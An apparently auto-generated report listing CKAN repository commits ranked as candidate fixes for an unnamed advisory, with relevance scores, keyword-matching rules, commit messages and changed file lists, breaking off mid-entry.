ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Pull translations ahead of 2.10.5 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5f3317010965b23970249410376564983aaf51a4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: URL, open-source
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Pull translations ahead of 2.10.5
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po - - ckan/i18n/de/LC_MESSAGES/ckan.po - - ckan/i18n/gl/LC_MESSAGES/ckan.po - - ckan/i18n/gl_ES/LC_MESSAGES/ckan.po - - ckan/i18n/he/LC_MESSAGES/ckan.po - - ckan/i18n/ja/LC_MESSAGES/ckan.po - - ckan/i18n/lv/LC_MESSAGES/ckan.po - - ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po - - ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#5713] copy resources tests - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 10 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3cb5af251b5bfa0a7528d7ca3bea354ee1b7d0b3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: patch
      -
    • - -
    • -
      The commit message references some github issue: 5713
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#5713] copy resources tests
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/action/update.py - - ckan/tests/logic/action/test_create.py - - ckan/tests/logic/action/test_delete.py - - ckan/tests/logic/action/test_patch.py - - ckan/tests/logic/action/test_update.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Update pot file for 2.11 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c73f26064ab3a54422845fd8e2437f424b7f7cc8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: URL
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Update pot file for 2.11
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/ckan.pot - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - add email_is_unique validator - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 38c89aae62eb5f8884169eca5e53ba75a95223d4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: URL
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      add email_is_unique validator
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/schema.py - - ckan/logic/validators.py - - ckan/tests/logic/test_validators.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Pull translations - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4cccbccb57e2fca1eddae311b394049e64ab360d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Pull translations
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/cs_CZ/LC_MESSAGES/ckan.po - - ckan/i18n/mk/LC_MESSAGES/ckan.po - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Compile mo files - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 72c9ba39b9b36cf8d91b776a77a8657932aadd04 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Compile mo files
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo - - ckan/i18n/de/LC_MESSAGES/ckan.mo - - ckan/i18n/gl/LC_MESSAGES/ckan.mo - - ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo - - ckan/i18n/ja/LC_MESSAGES/ckan.mo - - ckan/i18n/lv/LC_MESSAGES/ckan.mo - - ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo - - ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] various test fixes - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 622ae3e0f05b24ea76c96fd01853fb92bb70ef2b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: source
      -
    • - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] various test fixes
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/action/delete.py - - ckan/logic/action/get.py - - ckan/tests/lib/search/test_search.py - - ckan/tests/logic/action/test_create.py - - ckan/tests/logic/action/test_update.py - - ckanext/example_iresourcecontroller/tests/test_example_iresourcecontroller.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] datastore: use resource_patch for active flag - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 756f133a119635dfcaf6e09787eaf8e721efaf35 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source, patch
      -
    • - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] datastore: use resource_patch for active flag
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/tests/lib/search/test_query.py - - ckan/tests/lib/search/test_search.py - - ckanext/activity/tests/test_changes.py - - ckanext/datastore/logic/action.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] search-index rebuild error code, simplify - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a424975a72b63c15d88af04916afb6f36c763504 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: error
      -
    • - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] search-index rebuild error code, simplify
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/cli/search_index.py - - ckan/lib/search/__init__.py - - ckan/logic/__init__.py - - ckan/tests/cli/test_search_index.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] resource_create defer_commit requires reindex - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 307041f218eb6d823c356112942e22b5a7b8fa2f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source
      -
    • - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] resource_create defer_commit requires reindex
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/action/create.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8400 from Roconda/backport-500-instead-of-405... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e9353217db787e1e986c542229664609aee86e36 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: return, error
      -
    • - -
    • -
      The commit message references some github issue: 8400
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8400 from Roconda/backport-500-instead-of-405 [Backport dev-v2.10] App returns 500 error instead of 405
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8394 from ckan/backport-8392-to-dev-v2.10... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b70b035ba75fc9a0dc7ee01f3033f1803bc51fd3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source
      -
    • - -
    • -
      The commit message references some github issue: 8394
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8394 from ckan/backport-8392-to-dev-v2.10 [Backport dev-v2.10] Fix resource proxy download proxy setting
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [#8395] simpler package indexing, no system plugins - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 17f5c3bc6aadd680f4cc41e199c705ab8fe5d587 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: system
      -
    • - -
    • -
      The commit message references some github issue: 8395
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [#8395] simpler package indexing, no system plugins
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/8395.feature - - ckan/config/environment.py - - ckan/lib/search/__init__.py - - ckan/logic/__init__.py - - ckan/logic/action/create.py - - ckan/logic/action/delete.py - - ckan/logic/action/update.py - - ckan/model/modification.py - - ckan/plugins/core.py - - ckan/tests/plugins/test_core.py - - ckan/tests/pytest_ckan/ckan_setup.py - - ckan/tests/pytest_ckan/fixtures.py - - setup.cfg - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8393 from ckan/backport-8392-to-dev-v2.11... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9dc0ef5512097450b678b7fcb7562481dc3c1363 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source
      -
    • - -
    • -
      The commit message references some github issue: 8393
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8393 from ckan/backport-8392-to-dev-v2.11 [Backport dev-v2.11] Fix resource proxy download proxy setting
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8386 from avdata99/include_site_user_id Include... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 81b5cbeb14297476b8d1a8030edc6d2b166fadcd -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: include
      -
    • - -
    • -
      The commit message references some github issue: 8386
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8386 from avdata99/include_site_user_id Include the site_user id in `get_site_user` fn
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8392 from ckan/fix-download-proxy Fix resource... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 99590a131541b84f00641ff3bdc9cbb3246dbead -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source
      -
    • - -
    • -
      The commit message references some github issue: 8392
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8392 from ckan/fix-download-proxy Fix resource proxy download proxy setting
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18] Compile mo files - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - c18b4db2ef4adc55696ab751503153394bc6280e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18] Compile mo files
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/am/LC_MESSAGES/ckan.mo - - ckan/i18n/ar/LC_MESSAGES/ckan.mo - - ckan/i18n/bg/LC_MESSAGES/ckan.mo - - ckan/i18n/bs/LC_MESSAGES/ckan.mo - - ckan/i18n/ca/LC_MESSAGES/ckan.mo - - ckan/i18n/cs_CZ/LC_MESSAGES/ckan.mo - - ckan/i18n/da_DK/LC_MESSAGES/ckan.mo - - ckan/i18n/de/LC_MESSAGES/ckan.mo - - ckan/i18n/el/LC_MESSAGES/ckan.mo - - ckan/i18n/en_AU/LC_MESSAGES/ckan.mo - - ckan/i18n/en_GB/LC_MESSAGES/ckan.mo - - ckan/i18n/es/LC_MESSAGES/ckan.mo - - ckan/i18n/es_AR/LC_MESSAGES/ckan.mo - - ckan/i18n/eu/LC_MESSAGES/ckan.mo - - ckan/i18n/fa_IR/LC_MESSAGES/ckan.mo - - ckan/i18n/fi/LC_MESSAGES/ckan.mo - - ckan/i18n/fr/LC_MESSAGES/ckan.mo - - ckan/i18n/gl/LC_MESSAGES/ckan.mo - - ckan/i18n/gl_ES/LC_MESSAGES/ckan.mo - - ckan/i18n/he/LC_MESSAGES/ckan.mo - - ckan/i18n/hr/LC_MESSAGES/ckan.mo - - ckan/i18n/hu/LC_MESSAGES/ckan.mo - - ckan/i18n/id/LC_MESSAGES/ckan.mo - - ckan/i18n/is/LC_MESSAGES/ckan.mo - - ckan/i18n/it/LC_MESSAGES/ckan.mo - - ckan/i18n/ja/LC_MESSAGES/ckan.mo - - ckan/i18n/km/LC_MESSAGES/ckan.mo - - ckan/i18n/ko_KR/LC_MESSAGES/ckan.mo - - ckan/i18n/lt/LC_MESSAGES/ckan.mo - - ckan/i18n/lv/LC_MESSAGES/ckan.mo - - ckan/i18n/mk/LC_MESSAGES/ckan.mo - - ckan/i18n/mn_MN/LC_MESSAGES/ckan.mo - - ckan/i18n/my_MM/LC_MESSAGES/ckan.mo - - ckan/i18n/nb_NO/LC_MESSAGES/ckan.mo - - ckan/i18n/ne/LC_MESSAGES/ckan.mo - - ckan/i18n/nl/LC_MESSAGES/ckan.mo - - ckan/i18n/no/LC_MESSAGES/ckan.mo - - ckan/i18n/pl/LC_MESSAGES/ckan.mo - - ckan/i18n/pt_BR/LC_MESSAGES/ckan.mo - - ckan/i18n/pt_PT/LC_MESSAGES/ckan.mo - - ckan/i18n/ro/LC_MESSAGES/ckan.mo - - ckan/i18n/ru/LC_MESSAGES/ckan.mo - - ckan/i18n/sk/LC_MESSAGES/ckan.mo - - ckan/i18n/sl/LC_MESSAGES/ckan.mo - - ckan/i18n/sq/LC_MESSAGES/ckan.mo - - ckan/i18n/sr/LC_MESSAGES/ckan.mo - - ckan/i18n/sr_Latn/LC_MESSAGES/ckan.mo - - ckan/i18n/sv/LC_MESSAGES/ckan.mo - - ckan/i18n/th/LC_MESSAGES/ckan.mo - - ckan/i18n/tl/LC_MESSAGES/ckan.mo - - ckan/i18n/tr/LC_MESSAGES/ckan.mo - - ckan/i18n/uk/LC_MESSAGES/ckan.mo - - ckan/i18n/uk_UA/LC_MESSAGES/ckan.mo - - ckan/i18n/vi/LC_MESSAGES/ckan.mo - - ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.mo - - ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.mo - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Update po files from Transifex - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 55e1892772c859d2885d713ac3fce6afc7a7cb2f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Update po files from Transifex
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/ca/LC_MESSAGES/ckan.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Update .tx/config file with 2.11 resource - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - ebc01f9fb91453679843f055fb035efd33148dda -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Update .tx/config file with 2.11 resource
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .tx/config - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [i18n] Pull latest translations from Transifex - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3a9b5c17be56354ced12fac4798bad266baa74e4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: message
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [i18n] Pull latest translations from Transifex
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/i18n/de/LC_MESSAGES/ckan.po - - ckan/i18n/fr/LC_MESSAGES/ckan.po - - ckan/i18n/he/LC_MESSAGES/ckan.po - - ckan/i18n/zh_Hans_CN/LC_MESSAGES/ckan.po - - ckan/i18n/zh_Hant_TW/LC_MESSAGES/ckan.po - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - add missing head_extras block added missing head_extras block used... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 31d5cbd519e46b48bf0e9b469f21075449bae4bc -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: source
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      add missing head_extras block added missing head_extras block used in default templates ckan/templates/package/read_base.html and ckan/templates/package/resource_read.html (cherry picked from commit bf76742860c96579c79be64ab73412dff54349ac)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/templates/base.html - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'snokamedia-patch-1' - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 98d9120434c4df42567dae49eb33efbbb676f534 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: patch
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'snokamedia-patch-1'
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'patch-1' of https://github.com/snokamedia/ckan into... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7f33937777edd62d28627627fd8cac3d0f7e98ed -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: patch
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'patch-1' of https://github.com/snokamedia/ckan into snokamedia-patch-1
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - convert package extra value to string before storing @amercader does... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5ef886d091ff8e182b7a46897327537a9cb206aa -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: issue
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      convert package extra value to string before storing @amercader does this resolve the issue you raised in gitter?
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ckan/logic/schema.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix: server error instead of 405 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6e0ab3fb4137cd7c51882d202cd8acaeb0f5221c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: server, error
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      fix: server error instead of 405
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/7616.bugfix - - ckan/config/middleware/flask_app.py - - ckan/plugins/toolkit.py - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge branch 'fix-setuptools-error' into backport-8392-to-dev-v2.10 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 502aaa6601af0105ebcf12430748d31e1595db4b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: error
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge branch 'fix-setuptools-error' into backport-8392-to-dev-v2.10
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump packaging to avoid setuptools error To avoid this issue in... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 4 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - b6d88dba0483eac68d43c6adcb2521f6d6f1bacb -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: issue, error
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump packaging to avoid setuptools error To avoid this issue in setuptools>=71: https://github.com/pypa/setuptools/issues/4483 Also need to list pyparsing explicitly as requirement as it is no longer a packaging requirement
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - requirements.in - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update changelog - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - c1f611593f6d7cd5eb5ccc9389c6df1b235c454d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update changelog
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - changes/8397.misc - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8406 from ckan/backport-8404-to-dev-v2.10... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.10.5 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ccb485d6eb799a48ab891a9047801aab3b34e0ed -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8406
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Merge pull request #8406 from ckan/backport-8404-to-dev-v2.10 [Backport dev-v2.10] Update docs with notices regarding DataPusher and ckanext-scheming
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Merge pull request #8405 from ckan/backport-8404-to-dev-v2.11... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: ckan-2.11.0 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a3ab6ecfd73bb83bffb7c12b0f2d478309dfcf66 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8405
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
